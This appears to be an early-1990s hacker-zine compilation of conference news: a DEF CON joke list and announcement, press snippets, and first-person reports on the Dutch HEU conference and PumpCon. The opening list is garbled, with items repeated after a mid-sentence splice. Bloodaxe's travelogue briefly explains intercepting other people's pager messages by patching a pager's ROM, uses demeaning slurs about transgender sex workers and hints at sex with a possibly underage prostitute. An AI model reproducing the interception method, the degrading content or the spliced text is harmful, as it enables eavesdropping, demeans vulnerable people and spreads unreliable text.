4. You can get reasonable conference discounts on prostitution in Nevada.

5. One can survive for 3 days in Vegas on $12 and a gift certificate.

6. Viruses are our friends.

7. Give a Casino security guard a walkie‑talkie and he'll swear he's the center of the universe.

8. Don't commit a felony in front of Gail Thackery.

9. The people who work at the Death Star throw the darndest things in the trash!

10. Pirates and Theives ONLY!

11. If you harass a hotel telephone operator long enough she WILL send security.

12. When using ITT ask for BOB...

13. Metal plates screwed to your hotel room ceiling generally constitute a bad sign.

14. Don't forget to Hack the BED!

15. You know your in deep shit when THEY aim an IR‑Mic at your window.

16. Setting 11 fires in selected parts of the city is probably a bad idea.

17. The guy who looks most like a fed probably writes for LOOMPANICS.

18. The guy who looks least like a fed probably does security for SUN.

19. As a general rule, don't hack the hotel PBX unless you're giving them a better credit rating.

20. If your wondering where all those C‑64 warez kidz went, try talking to some of the beggars in Vegas.

21. Those COCOTS were gold plated for a REASON!

22. If you plan to stay the night in a hotel, make sure you get a room there.

23. "0K, dit rating.

20. If your wondering where all those C‑64 warez kidz went, try talking to some of the beggars in Vegas.

21. Those COCOTS were gold plated for a REASON!

22. If you plan to stay the night in a hotel, make sure you get a room there.

23. "0K, this is my new PGP key for use in sensitive matters. Heck, use it for unsensitive matters.. people sniff packets 'ya know."

****************************************

What Was Your Best Hack September, 1993

~~~~~~~~~~~~~~~~~~~~~~~

(New Media) (Page 14)

[Asked at Def Con 1, the first formal gathering of the hacker community to discuss security, viruses and the law.]

Mike Winters, 19, Seattle

Claims to have hacked into GMAC and then held a conference call with GM's VP of Finance to help him "secure the system."

HB, San Mateo, California

Broke into a system to counterfeit checks to "show his employers how easy it was." Got arrested with two years probation and 24 days of community service.

Gail Thackeray, 44, Deputy County Attorney, Phoenix

A Hacker had broken into a voice mail system and was using it as a code line. The company could not take down the system until the prosecutors were ready to make a case. When they did, the company blocked all access and changed the greeting to

a song parody of "Hey Jude" called "Hey Dood," which really infuriated the hacker.

****************************************

Dead Addict At Def Con September, 1993

~~~~~~~~~~~~~~~~~~~~~~

by Gillian Newson (New Media) (Page 119)

["The oldest cyberchick" hangs with the Def Con Posse and discovers the joys of trashing.]

****************************************

READ & DISTRIBUTE & READ & DISTRIBUTE & READ & DISTRIBUTE & READ & DISTRIBUTE

]]]]]]]]]]]]]]]]]] ]]] ]] ] ]] DEF CON ][ Initial Announcement

]]]]]]]^^^^]]]]]]]]]]]]] ]] ] ] DEF CON ][ Initial Announcement

]]]]]]^^^^^^]]]]] ] ] ] DEF CON ][ Initial Announcement

]]]]]^^^^^^^^]]]]] ]] ] DEF CON ][ Initial Announcement

]]]]^^^^^^^^^^]]] ] ]]]]]]]] ] DEF CON ][ Initial Announcement

]]]^^^^^^^^^^^^]]]]]]]]]] ] DEF CON ][ Initial Announcement

]]^^^^^^^^^^^^^^]]]]]] ]] ] DEF CON ][ Initial Announcement

]]]^^^^^^^^^^^^]]]]]]]] DEF CON ][ Initial Announcement

]]]]^^^^^^^^^^]]]]]]]] ] ]] DEF CON ][ Initial Announcement

]]]]]^^^^^^^^]]]]]]] ]]] ]] ] DEF CON ][ Initial Announcement

]]]]]]^^^^^^]]]]]]] ] ] ] DEF CON ][ Initial Announcement

]]]]]]]^^^^]]]]]]]]]]] ]] ] ] DEF CON ][ Initial Announcement

]]]]]]]]]]]]]]]]]]]]]]]]]]]]]] ] DEF CON ][ Initial Announcement

READ & DISTRIBUTE & READ & DISTRIBUTE & READ & DISTRIBUTE & READ & DISTRIBUTE

WTF is this? This is the initial announcement and invitation to DEF CON ][, a convention for the "underground" elements of the computer culture. We try to target the (Fill in your favorite word here): Hackers, Phreaks, Hammies, Virii coders, programmers, crackers, Cyberpunk Wannabees, Civil Liberties Groups, CypherPunks, Futurists, etc..

WHO: You know who you are, you shady characters.

WHAT: A convention for you to meet, party, and listen to some speeches that you would normally never hear.

WHEN: July 22, 23, 24 ‑ 1994

WHERE: Las Vegas, Nevada @ The Sahara Hotel

So you heard about DEF CON I, and want to hit part ][? You heard about the parties, the info discussed, the bizarre atmosphere of Las Vegas and want to check it out in person? Load up your laptop muffy, we're heading to Vegas!

Here is what Three out of Three people said about last years convention:

"DEF CON I, last week in Las Vegas, was both the strangest and the best computer event I have attended in years." ‑‑ Robert X. Cringely, Info World

"Toto, I don't think we're at COMDEX anymore." ‑‑ Coderipper, Gray Areas

"Soon we were at the hotel going through the spoils: fax sheets, catalogs, bits of torn paper, a few McDonald's Dino‑Meals and lots of coffee grounds. The documents disappeared in seconds." ‑‑ Gillian Newson, New Media Magazine

DESCRIPTION:

Last year we held DEF CON I, which went over great, and this year we are planning on being bigger and better. We have expanded the number of speakers to included midnight tech talks and additional speaking on Sunday. We attempt to bring the underground into contact with "legitimate" speakers. Sure it's great to meet and party with fellow hackers, but besides that we try to provide information and speakers in a forum that can't be found at other conferences.

WHAT'S NEW THIS YEAR:

This year will be much larger and more organized than last year. We have a much larger meeting area, and have better name recognition. Because of this we will have more speakers on broader topics, we plan on having a slip connection with multiple terminals and an IRC connection provided by cyberspace.com. We are trying to arrange a VR demo of some sort. Dr. Ludwig will present this years virus creation award. There will be door prizes, and as usual a bigger and better "Spot The Fed" contest. If you are elite enough to handle it, there should be the returning of the Cyber‑Whip and the beginning of a new one. We'll try to get an interesting video or two for people to watch. If you have any cool footage you want shown, email me with more information.

WHO IS SPEAKING:

We are still lining up speakers, but we have several people who have expressed interest in speaking, including Dr. Mark Ludwig (Little Black Book Of Computer Viruses), Phillip Zimmerman (PGP), The Mentor (Steve Jackson Games), Ken Phillips (Meta Information), and Jackal (Radio) to name a few, plus there should be a mystery speaker via video conference. We are still contacting various groups and individuals, and don't want to say anything until we are as sure as we can be. If you think you are interested in speaking on a self selected topic, please contact me. As the speaking list is completed there will be another announcement letting people know who is expected to talk, and on what topic.

WHERE THIS THING IS:

It's in Las Vegas, the town that never sleeps. Really. There are no clocks anywhere in an attempt to lull you into believing the day never ends. Talk about virtual reality, this place fits the bill with no clunky hardware. If you have a buzz you may never know the difference. It will be at the Sahara Hotel. Intel as follows:

The Sahara Hotel 1.800.634.6078

Room Rates: Single/Double $55, Suite $120 (Usually $200) + 8% tax Transportation: Shuttles from the airport for cheap

NOTES: Please make it clear you are registering for the DEF CON ][ convention to get the room rates. Our convention space price is based on how many people register. Register under a false name if it makes you feel better, 'cuz the more that register the better for my pocket book. No one under 21 can rent a room by themselves, so get your buddy who is 21 to rent for you and crash out. Don't let the hotel people get their hands on your baggage, or there is a mandatory $3 group baggage fee. Vegas has killer unions.

COST:

Cost is whatever you pay for a hotel room split however many ways, plus $15 if you preregister, or $30 at the door. This gets you a nifty 24 bit color name tag (We're gonna make it niftier this year) and your foot in the door. There are fast food places all over, and there is alcohol all over the place, the trick is to get it during a happy hour for maximum cheapness.

FOR MORE INFORMATION:

For InterNet users, there is a DEF CON anonymous ftp site at cyberspace.com in /pub/defcon. There are digitized pictures, digitized speeches and text files with the latest up to date info available.

For email users, you can email dtangent@defcon.org for more information.

For Snail Mail send to DEF CON, 2702 E. Madison Street, Seattle, WA, 99207

For Voice Mail and maybe a human, 0‑700‑TANGENT on an AT&T phone.

A DEF CON Mailing list is maintained, and the latest announcements are mailed automatically to you. If you wish to be added to the list just send email to dtangent@defcon.org. We also maintain a chat mailing list where people can talk to one another and plan rides, talk, whatever. If you request to be on this list your email address will be shown to everyone, just so you are aware.

STUFF TO SPEND YOUR MONEY ON:

> Tapes of last years speakers (four 90 minute tapes) are available for $20

> DEF CON I tee‑shirts (white, large only) with large color logo on the front, and on the back the Fourth Amendment, past and present. This is shirt v 1.1 with no type‑o's. These are $20, and sweatshirts are $25.

> Pre‑Register for next year in advance for $15 and save half.

> Make all checks/money orders/etc. out to DEF CON, and mail to the address above.

If you have any confidential info to send, use this PGP key to encrypt:

‑‑‑‑‑BEGIN PGP PUBLIC KEY BLOCK‑‑‑‑‑

Version: 2.3

mQCrAiyI6OcAAAEE8Mh1YApQOOfCZ8YGQ9BxrRNMbK8rP8xpFCm4W7S6Nqu4Uhpo dLfIfb/kEWDyLreM6ers4eEP6odZALTRvFdsoBGeAx0LUrbFhImxqtRsejMufWNf uZ9PtGD1yEtxwqh4CxxC8glNA9AFXBpjgAZ7eFvtOREYjYO6TH9sOdZSa8ahW7YQ hXatVxhlQqve99fY2J83D5z35rGddDV5azd9AAUTtCZUaGUgRGFyayBUYW5nZW50 IDxkdGFuZ2VudEBkZWZjb24ub3JnPg==

=ko7s

Conference News Part III

==Phrack Magazine==

Volume Four, Issue Forty‑Four, File 8 of 27

Conference News

Part III

****************************************

A Hacker At The End Of The Universe

by Erik Bloodaxe

Eight hours on a plane isn't that bad. It isn't that fucking great either, but it isn't the end of the world. This is especially true under certain circumstances like if you were being inducted into the mile‑high club by means of an obscure tantric ceremony, or you've just successfully hijacked a 747, or you are nestled in your seat on your way to Amsterdam.

Unfortunately, I haven't hijacked much lately, and as far as the mile high club goes I'm pretty sure you need a partner to join; but as I was on my way to Hacktic's Hacking at the End of the Universe conference, I was stoked.

When I finally arrived in Amsterdam and breezed through customs, I was greeted with the pleasant sight of a LOD Internet World Tour T‑Shirt being held up above the throngs congregating at the customs exit. Its owner, Carl, was probably the only American that I knew that was going to be in this country so we had arranged previously to meet. The shirt was my beacon.

EB's Handy Travelling Tip #1: Never have more bags than you have hands.

I was to find out that we were in for a good deal of walking. Me being such a fucking plan ahead kind of guy, had packed enough clothes for 8 days and brought a camcorder as well as my laptop and assorted other crap. This was all find and dandy except for the fact that I had three bags and only two hands. I hoisted one bag up on a shoulder strap (which would begin its week‑long gradual slicing into my collarbone) and drug the other two bags behind me.

Carl had rented a room in Naarden at a Best Western or something. The con was in Lelystad somewhere. Neither of us had any idea of exactly where these two places were in relation to one another. We would soon find that they were no where close.

EB's Handy Travelling Trip #2: Buy a Eurail Pass or the national equivalent

thereof.

Luckily, Carl had the foresight to suggest that we should buy a train pass for the week. It was only like 50 bucks and got us free rides on the trains, trams, buses, and train‑taxis everywhere in the Netherlands. It MORE than paid for itself.

We hopped a train and rode to the Amere stop, then took a taxi to the hotel, dropped off our crap then rode a bus back to the station and went into Amsterdam.

Amsterdam is a really neat place. I think everyone should go there at least once. Carl and I wandered around for hours and hours just checking things out. During our travels I discovered some really neat places.

EB's Handy Travelling Tip #3: Pornography Is Good.

Foreign Pornography is GREAT!

I have to respect a country that has smut proudly displayed everywhere. In every magazine rack, in every train station, convenience store and in large (clean, well‑lit, heh) stores everywhere, smut. Not your average run of the mill nastiness either. We're talking monumental titles like "Teenage Sperm," "Seventeen," "Teeners From Holland," "Sex Bizarre," and "Color Climax."

I went in every smut shop we saw. I think Carl wanted to die of embarrassment. I was like a kid in a candy store. It was really pathetic. You would not believe the shit they sell over there. Well, maybe you would. I pray that I can buy a vcr that transfers PAL to NTSC someday.

One of the most hilarious items I saw was a HUGE dildo in the shape of an arm with a fist. And I mean life size. Like Arnold Schwartzenegger's arm life size. I wonder if that's a big seller?

We finally got totally zonked out and headed back to the hotel to relieve our jetlag tomorrow was the con!

EB's Handy Travelling Tip #4: Always take the Train Taxi

In Holland, once you get off the train, for an extra 10 guilders, you can get a pass for a special taxi to take you anywhere you need to go. Carl and I didn't find this out until a few 20 dollar cab rides to the campground.

HEU was held out in the Dutch countryside. A more appropriate title might have been "Hacking in the Middle of Fucking Nowhere." The taxi driver had been shuttling people out there all day. As we approached the campground signs for the conference began to show up. Signs of geekdom on the horizon.

We got out at the gate, and walked over to the tent that said registration. In the tent were a couple of guys who took your picture and printed out a badge with your picture digitized on it.

The area was layed out very well. There was a very big barn like structure where several dozen computers were all networked together. I sat down at one and saw that there was even a slip trying to work. With that many people trying to be on the net, it was almost 20 baud! Wow, technology at its finest. :) I also noticed that at least 2 people were running ethernet sniffers, so I decided that it would not be prudent to mess with the net there, even if the bandwidth dramatically increased.

Also in the barn were a tv/vcr area, several couches, a merchandise area and a snack bar. The snack bar sold rolls for a buck, and had free sandwich makings (like pb & j, cheese & meat, etc..) chips, jolt, and beer. This was very important to me since I was wondering if I'd get to eat.

There was to be some kind of food provided (a meal) for five bucks, but it was so foul that it could not be believed. And to top it all off it was vegetarian. Not just regular vegetarian, but totally off beat stuff that smelled like old socks. Nasty gruel unfit for even prisoners.

Behind the barn was the camping area. There was a HUGE tent

that was the main meeting area, and several mid‑size tents. Additionally there was a large lookout tower, and a shitload of tents set up for sleeping. Running all over the campground were cables for the conference's LAN.

It was impressive so say the least.

One of the first people I ran into at the con was KCrow. He helped me try to find a safe place to stow some of my crap. (Again, me and my fucking bags. I'm such an asshole.) We tried to place them in the network control room, but Bill SF told me to "get the hell out of there," so I did. And this of course, has left me with a wonderful opinion about Bill SF. (Bill, I love ya!) Several people tried to make excuses in his behalf such as "he hadn't slept in days," or "Bill isn't ever so rude," and "He's got a lot on his mind."

Yeah, right.

(And I didn't even say ANYTHING about how shitty it would be to try to make millions counterfeiting something, then let one of your friends take the fall for you, while you left the country. Nope. I would never be so rude. There is a difference between a true hacker and an opportunistic technologically literate criminal. But I didn't say that.)

I finally just stuck my stuff behind the merchandising area and prayed that there was still honor among thieves.

I then ran into Damiano. He told me who was around. Several CCC people had arrived in a convoy of odd urban assault vehicles. The Germans (other than Damiano) kind of made me uneasy. They seemed to hang together and didn't talk to many non‑germans. I suppose maybe some of them didn't speak English, or maybe I was just thinking odd Nazi fantasies. I dunno. Of all the people that were supposedly there, I kept missing Pengo. It was like some kind of weird trick. "Did you see him? He was just here." I never saw him.

That afternoon I only made it to one "workshop." I was to find out later that all of the really technical workshops had a common thread. "Here's this cool technology, now go buy it from Hack‑Tic for several hundred dollars."

The first example I had of this was in the "It came out of the sky" workshop where Bill SF talked about a device they had made that received pager information. They presented a few scenarios in which police or other nasties might watch pagers, or always page certain numbers right before raids, etc...

The concept was neat, but certainly nothing new. For a few bucks more than they were asking for the Hack‑Tic model, you can buy a multimode decoder from Universal Radio (model M‑400). It not only does POCSAG but also GOLAY (for pagers), ACARS, ASCII, Baudot, SITOR A & B, FEC‑A, SWED‑ARQ, FAX, CTSS, DCS & DTMF! Now that's a decoder.

Additionally, a company called SWS security makes a similar device for law enforcement people at about $4,000 that does nothing but decode pager information.

If it came right down to it, all you would have to do is open up your beeper, dump the rom, and tell it to display info for ALL cap‑codes rather than just yours. Your cap‑code is written on the back of your beeper, and is stored in non‑volatile memory somewhere. Look for the call to it, and have it always branch to the display routine rather than do a comparison.

I asked Bill about re‑crystaling the device, since it there's would only be able to pick up one pager channel as is, and about whether or not anyone had played with any of the 8‑bit paging types such as is used in America on services such as EMBARC. Bill looked at me as if I was on crack, and asked, "Are there any other questions?" Sigh.

After that workshop, I took off with Andy of the Chaos Computer Club back to the German enclave. These guys were nuts. They had several winnebagoes totally decked out with all kinds of archaic electronic gear. They had all kinds of odd radio equipment; weird shit

with Russian lettering was strewn about. The guys hanging about were jamming out really loud hard techno. I leeched a few programs from Andy and then took off back to the main area.

Sometime later, a guy who said he knew me from way back named

Mr. Miracle came up to say hello. I had no idea, but since I rarely remember my own name, I took him for his word. Mr. Miracle was at the con with his friends Wim and a Tasmanian Amiga Dude named XTC.

We hung out the rest of the afternoon bullshitting and talking about all kinds of stupid things.

As it grew dark, everyone moved into the Barn. Me, Carl, Mr. Miracle, XTC, Wim, and another Dutch Hacker named The Dude sat down to drink. We were joined for a bit by another Dutchman named The Key. He was totally into lock picking, and had a plethora of picks. (Car masters, traditional rakes, tube lock picks, and a weird looking pick for all new model fords.) The Key was a large, sinister looking guy who never took off his extremely dark sunglasses. I don't know if it was only for effect, but it certainly worked.

I decided it was high time to introduce the Dutch to that quaint American custom, Quarters. We must have gone through some 200 glasses of beer, and were extremely loud, drunk and obnoxious. One woman (I think it was a woman) wandered over to us and said, shouldn't you all be on the computers or something. We cursed until she left.

Mr. Miracle invited Carl and I to stay at his place for the rest of the con so we wouldn't have to go all the way back to our hotel. This was a godsend. We all piled into The Dude's car for a ride to the apartment that made Busch Garden's "Kumba" look like a merry‑go‑round. We were quite happy to make it home alive.

Xtc was also staying at Mr. Miracle's. We all spilled onto the floor upstairs in his townhouse. While we were all getting ready to pass out, Xtc yakked all over a bathroom. Needless to say Mr. Miracle and his girlfriend were pissed. We all thought there was going to be a death, but somehow Xtc lucked out.

The next morning we all took off over to check out of the Hotel Carl and I had rented. Carl had put some money in their safe.

Of course, the safe broke, and it took them nearly an hour to destroy the safe completely so Carl could retrieve his 300 in traveller's checks. Mr. Miracle remarked, "Where's The Key when you need him."

When we finally ended up back at the con, there was a large meeting going on about Phone Phreaking. Emmanuel Goldstein, Bill SF, Rop, KCrow (KCROW??) and others were babbling on the panel. Phiber Optik was on a speaker phone adding commentary. I toyed with the idea of getting on the phone and wishing him well and telling him how cool it was in Holland, but I decided that would be too mean.

I sat outside the panel listening to everyone complain about the evils of the phone company. Many got up and argued that what they were doing was morally right, because the phone company charges too much. They also argued that since the lines were already there they should be able to use them for free. I got disgusted and began yelling about how there were chairs in the tent not being used and I wanted my hundred guilders back.

Several people gathered around and I kept ranting. Mr. Miracle joined in on the spree and began challenging just how much Hack‑Tic was making off of the conference. He estimated at minimum 500 people at 100 guilders a piece. 50000 guilders. That's a lot of money. The crowd gathering around us began questioning the whole situation too. It got ugly, but none of us had the balls to say anything about it.

Later that day I sat down to hear Fidelio and RGB give a talk about Unix Security. I had asked them beforehand if they were going to talk about anything that I wouldn't know. (God, afterwards, I realized just how snotty that sounded. I'm a prick.) It went pretty good since most of the people in the crowd weren't gurus and this gave them a good overview.

Afterwards, Bill SF was holding a workshop about Wireless LANs. I was thinking this would be a tutorial about wireless lan theory and how their security was handled, etc. WRONG! Hack‑Tic is supposedly building a frequency hopping wireless ethernet adaptor. (Soon to be available at a store near you.)

I asked Bill why they went with frequency hopping rather than direct sequence. There are basically two schools of thought about spread spectrum, and both have their plusses. Bill said

their device would be hard to jam. I replied that if I pumped

as little as 1 watt over a particular range, maybe like a 15 Mhz range, their device would be just as hosed as anyone else's.

As an afterthought, I hope they build it in the 2.4GHz range, because that's the only frequency block that is legal everywhere for

this type of application.

Sometime later Bill SF was to give a phone phreaking tutorial. He trudged off in the woods to hold a secret workshop. Unfortunately, I wasn't among the privileged audience members, but I hear rumors that the Demon Dialer is available for sale. Sigh.

I have no idea what I did for the next few hours. I think I was abducted by aliens. The final panel of the evening was a

social engineering panel being led by The Dude. Let's just say that a European idea of what to use your bullshitting skills for is

a little bit different than that of your American hacker.

The Dude offered advice like "Say you are with the news or a tv star and maybe they will give you a guest account," or "Once I called up and said I was doing a story, and they told me information about their computers."

WOW! Pretty radical stuff. I remember a certain boy holding up a 7‑11 by phone. I remember someone turning my phone into a payphone by bullshitting an idiot at the switch. I remember people getting root passwords from system admins by social engineering. Where were Chasin, RNOC & Supernigger when you needed them? These are the true greats. I don't know what these people at HEU were all excited about, but they all loved it. Ahhh, ignorance IS bliss.

After dark for some reason we were all drawn once again to the quarters table. It was brutal. They ran out of glasses. We made pyramids with the empties. We played chandeliers. We belched, we hollered, we were manly men doing manly things, and we mocked those playing computer games just a few yards away. We laughed at them with manly laughs. And I don't think anyone threw up that night.

We got a ride home that night from The Key. He never took off his glasses. There are no lights along the highways in Holland. Luckily I was drunk, or I would have been scared shitless.

The final day of the conference we arrived in time to see the "hacking and the law" panel. Emmanuel Goldstein, RGB, Rop, Ray Kaplan, Wietse Venema, Andy from the CCC, a Dutch CERT guy and a few others were on the panel. It started very well but went sour quickly. It was supposedly being moderated by this asshole of a journalist who apparently didn't understand what it meant to moderate. He would answer EVERY question addressed to the panel, whether or not he even knew what the question was about.

This shithead gave journalists a bad name. Finally this guy got so annoying that I finally got up and left.

We decided not to hang out for the party at the end of time. We figured that the party would be much more fun in Amsterdam, so we cut out. It was time to get into the city and cause problems.

EB's Handy Travelling Tip #5: Don't buy drugs in other countries.

Drugs are illegal in Holland, despite what everyone says. Despite this fact, they are plentiful and every swinging dick on the street has a few pills or joints to sell you. Now the way I looked at it, why in the world would you go a zillion miles away to see another country and spend your time wasted?

It reminded me of walking in the Height after dark, or going down the Drag in Austin a few years back. Every three steps we took in Amsterdam, some joker would run up and say, "You want good smoke? Ecstasy? Cocaine? You want good coke? How about some good hashish?" I should have asked for DMT, but I just blew everyone off.

On top of all this, there are like 5 or so bars in Amsterdam that actually sell hash in the bar. They are very easy to spot. They are the ones with the pot plants in the window and the tell tale dope smell permeating every pore of your body when you walk past. The big ones are the Bulldog and High Times. Save your money for better things, like t‑shirts or smut.

At the con, several people were selling "Space Cakes" which were essentially hash brownies. If you've never eaten dope, you might not like it. It comes on slower, lasts longer, and generally puts you to sleep. This was not what I'd want at a Hacker Con. We needed stimulants, damnit! I drank lots of jolt instead.

EB's Handy Travelling Tip #6: Go to the Red Light District in Amsterdam.

Even if you are too cheap (or too moral) to shell out the 25 bucks, you should go check out the Red Light District. Be forewarned, all those people who tell you that the women are all "so fine" are either fucked up or have bad taste.

In the Red Light area the women hang out behind windows in their underwear and try to coerce you into sleeping with them by taunting you, flashing you, or making other sexual innuendoes.

Unfortunately, the vast majority of these "women" look like out‑takes from "The Crying Game." We are talking adam's apples and big hands here. Large boned Asian creatures that scared the shit out of me. These things were NASTY.

Mr. Miracle, Wim and I must have walked around for an hour looking for decent women. Finally we came across two. TWO. Out of hundreds, there were two. One was a tall blonde in her twenties. One was a short, tan brunette who looked, uh, young.

17:10. I'll spare you the details. Let your imaginations run free.

EB's Handy Travelling Tip #7: There's no place like home.

I was very happy to hop on that plane back to the USA. As much as I hate to admit it, I really wouldn't know what to do with myself if I didn't live in America.

Maybe an England or Australia trip would have been totally different. It really sucked not being able to speak the language. I also got real tired of trying to find food I could eat. [I gave up red meat almost a year ago, and Europeans LOVE THEIR MEAT. Trying to find chicken was a nightmare. The Dutch word for chicken is KIP. Remember that.]

The TV sucked, there weren't really any good places for live music, the women weren't interested in a scummed‑out, long‑haired American tourist and I missed my cat. I met some really cool people and had a blast for the week I was there, but I was real happy to land in the USA.

*Epilogue*

EB's Handy Travelling Tip #8: If you think customs is going to search you

they won't.

Me, being stupid, left all my good smut in the Netherlands because I was afraid I'd get arrested for it. I envisioned the conversation. "What are you doing with all these nasty things, boy? You are one sick fucker! Lookie here Bob, this here hippy has pictures of gals a pissin' on one 'nuther." So what happens? They smile and wave me through. Fuck.

****************************************

Hacking at the End of the Universe

by Nimrod Kerrett, zzzen@math.tau.ac.il

"A Techno‑Anarchist Convention" ‑‑ August 3‑6, Larserbos, HOLLAND. The announcement in Computer Underground Digest committed its viral act, erasing all the neatly ordered schedule entries for the first week of August from my old, grey memory cells, to be replaced by a neon light flashing "You deserve a vacation in Holland." Away we went...

Most of us European/Third‑World dwellers don't get to see much of the physical manifestations of Gibson's self‑executing prophecies. OK. The Matrix is there, but to witness street‑culture one must live in San Francisco or somesuch. HEU ‑‑ Hacking at the End of the Universe ‑‑ looked like the only chance to surface on the physical side of a phone plug and experience cyber‑culture in form of faces, fashion and body‑lang. How naive I was to presume this. Compared to most of the kids there, I looked dangerous (a timid, Swiss‑bank sysadmin)... But don't get me wrong, I DID have fun ‑‑ failing to do so in Holland requires quite a unique body‑chemistry ‑‑ but I had a nagging feeling that European hackers still live in the Seventies.

First, A Few Positive Notes

The most important lecture addressed electronic money. I won't go into sci.crypt‑style details, but this was the most exciting thing I've ever heard since public‑keys were first explained to me. The president of a Dutch firm called DigiCash described a crypto scheme where a bank can issue electronic credit‑certificates which can't be forged, and yet are immune to traffic analysis. Their digital cash is just like physpace cash: it has no smell. You get a "virtual $100 bill" from the bank that you can't forge or spend more than once, and which the bank can't trace ‑‑ e.g. to the specific person who requested it.

Ever since society devolved from cash to credit cards, people have become used to the idea that our shopping‑histories are readily subject to electronic surveillance. At HEU I learned this was all hype: we CAN evolve economic systems to enjoy advantages of digital communication without sacrificing our privacy.

Another interesting issue was a lecture by an ex‑CIA executive who went private [ed. note: positively identified as a net.personality on the WELL] and now tries to preach for open‑source approaches: instead of creating your own locks and picking the ones of your neighbor, the idea is to use information‑gathering/analysis techniques ‑‑ one of those things in which "intelligence" bodies specialize ‑‑ to derive content from the info‑swamp we seem to be sucked into... and then sell it. This guy made arguments similar to what Barlow said before the hush‑hush community a few months ago, but seems to refocus everything on enterprise. Mighty exciting. BTW, I've noticed how the concept of profit makes bleeding‑heart European anarchist types wince...

The network built onsite also impressed me. In a campground setting, subject to occasional rainstorms, they erected three LANS connecting nearly 100 computers of all sizes and shapes, plus terminal servers for the Etherless. Computers were placed in our private tents, and the field bloomed with PC/XTs‑turned‑repeaters covered in wet plastic sheets. This monstrosity connected to the Internet over three shaky SLIP dial‑up lines and it actually WORKED ‑‑ it cost some sleepless 36 hours, but still, WOW.

Switch To Poison Ink

Hacker (n) ‑‑ (1) One who derives pleasure from making systems do things they're not supposed to do. (2) A nerd who does word‑processing in hexadecimal, is allergic to color or windows and hates being called a "user" in ANY context.

Most of the hackers I met at HEU fell under the second definition. I was even scolded for using "Wintendo" and wasting the precious power of my 486 notebook. Let's start with the local network ‑‑ having all the tents connected was a wonderful idea, and symbolized constructive techno‑anarchy. Unfortunately it lacked cultural content. To begin with, you had to login as a guest ‑‑ if you'd figured out the IP number of a server working at the moment. You had no identity handle, so there was no use in talking about site‑specific newsgroup for follow‑ups on topics. Even local email was impossible; to whom would you email? Since everyone got a badge on entrance, why didn't we also receive user‑ids, perhaps written on the badges? Even administrative announcements (e.g. schedule changes) were only available on a PHYSICAL bulletin‑board in the bar... ever tried to scan manually over 200 paper scraps?

Another side effect was that to justify dragging your portable all the way to Holland, you just HAD to hog the SLIP lines and telnet outside, which made life hard for all of us, but much harder for the networking crew. In my humble opinion, excessive telneting is like saying "Nothing to do here, let's try somewhere else." I LIVE somewhere else; I took a plane in order to check out THIS place. Telneting was also a problem since the IP‑resolving system didn't work and we had to apply hacking techniques to find the IP numbers back home.

The most frustrating thing was the social/political discussions. In a discussion titled "Networking For The Masses" someone dared suggest user‑friendliness as a key to resolving computer illiteracy. "No shit, Sherlock" ‑‑ I hear you mumble. Well, here's how another panel‑member replied: "A revolution is not a user‑friendly thing. Activists shouldn't count on the computer community to make stuff easier for them". Watch out, masses... prepare for computer military‑training once the Revolution is over.

Let's take another trendy political subject ‑‑ cryptography. One would assume that any techno‑anarchist convention in '93 would feature a nice level of heated, political, crypto‑discussion. Well, nada. The only crypto‑related subject was the "electronic cash" mentioned above. Although it's quite exciting for the crypto‑enlightened, 90% of the HEU audience lost contact after the first three cube‑roots, returning to their tents to telnet elsewhere. I was left in a small group of highly‑technical Cypherpunks who didn't give a fork whether New Delhi housewives would ever understand the switches of PGP; they seem to ENJOY their wizardly "elite" status.

Even in discussions about hacker‑paranoia, the audience disliked the idea of demystifiyng the almighty‑hacker image to make your average, trigger‑happy policeman relax a bit. Does Europe need an equivalent of USA's "Operation Sun‑Devil" to knock sense into its collective skulls? FTP to ftp.eff.org:/pub/cud/papers/crime.puzzle to learn from the bitter experience of others (I don't know the IP number!).

Epi‑Travel‑Log

Before the convention, I naively believed that at least the HACKERS could Read the Writing on the Wall... Since I'm sober now, I'll spell it out for you:

When the world finally adopts strong public‑key cryptography (I hope it does, since I've seen too many wars and acts of human‑rights infringement in my life), two things will become virtually impossible: 1) seeing what you're not supposed to see; and 2) changing what you're not supposed to change, unless you want to cause brute‑force damage.

These two anachronistic activities represent the basis for most hacker‑culture I encountered at HEU ‑‑ so my advice is: switch to the first dictionary‑definition of "Hacker". Try being less techno and more anarchist. There's a revolution going on... in case you've missed out on some Usenet recently.

‑‑‑‑

Reprinted from Fringe Ware Review #2, ISSN 1069‑5656.

Published by FringeWare Inc., fringeware@illuminati.io.com Copyright (C)1993, Nimrod Kerrett. All rights reserved.

****************************************

Hackers Play The Field July 26, 1993

~~~~~~~~~~~~~~~~~~~~~~

(Newsweek) (Page 58)

[A Newsweek reporter packs for, and dreams about, HEU in the Netherlands. As you can tell, it was written before the actual con]

There's no guarantee of a large turn‑out, but if thousands show up, it may help demonstrate how far hacking has moved out of the bedrooms of smelly adolescents. If so, there's likely to be less geeking and more dancing in the Dutch summer night. Programmers may one day be able to lean back from their terminals, pat their pocket protectors and say, "I was there."

****************************************

A Woodstock For Hackers and Phreaks August 16, 1993

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Barbara Kantrowitz and Joshua Ramo

It was billed as "Woodstock for the Nintendo Generation" The techno‑freaks who gathered at the Hackers at the End of the Universe in the Netherlands last week had at lease one thing in common with their '60s counterparts: they believed rules were made to be broken.

Some were there only electronically, communicating through networks around the world. The rest‑‑the vast majority of them males in their late teens and early 20s‑‑gathered in hundreds of multicolored tents clustered around power outlets and portable toilets in an area the size of six football fields. Many had computer terminals in their tents, with the monitors nestled between sleeping bags and guitars.

No one was surprised by the white van bristling with antennas that trolled up and down the road leading to the campground. Everyone seemed to agree that it belonged to the Dutch Secret Service; everyone also assumed the meeting was being monitored by the CIA and Britain's MI6. But no one knew for sure; paranoia is popular among hackers.

****************************************

Pump Con 94

"The Legacy Continues"

by Erik Bloodaxe

Travelling sucks most of the time. People like to glamorize it as if it's some kind of status unobtainable to the "Average Joe" but nine times out of ten its just a pain in the ass.

My trip to Philadelphia for the second PumpCon fell well within the aforementioned nine of ten. I was sick as a dog, coughing up large blood‑soaked clots of phlegm at a steady pace. This was either due to some undetected immune system failure or due to my previous weekend's fiasco which dealt with chemical overindulgence, alcohol abuse and some kind of strange creatures that tried to pass as female...but that's another story.

(We will assume that my ill‑health stemmed from the latter.)

I showed up at the Comfort Inn to find a lobby full of what had to be conferees. (They had been saying to many people they were "Campus Crusaders for Christ.")

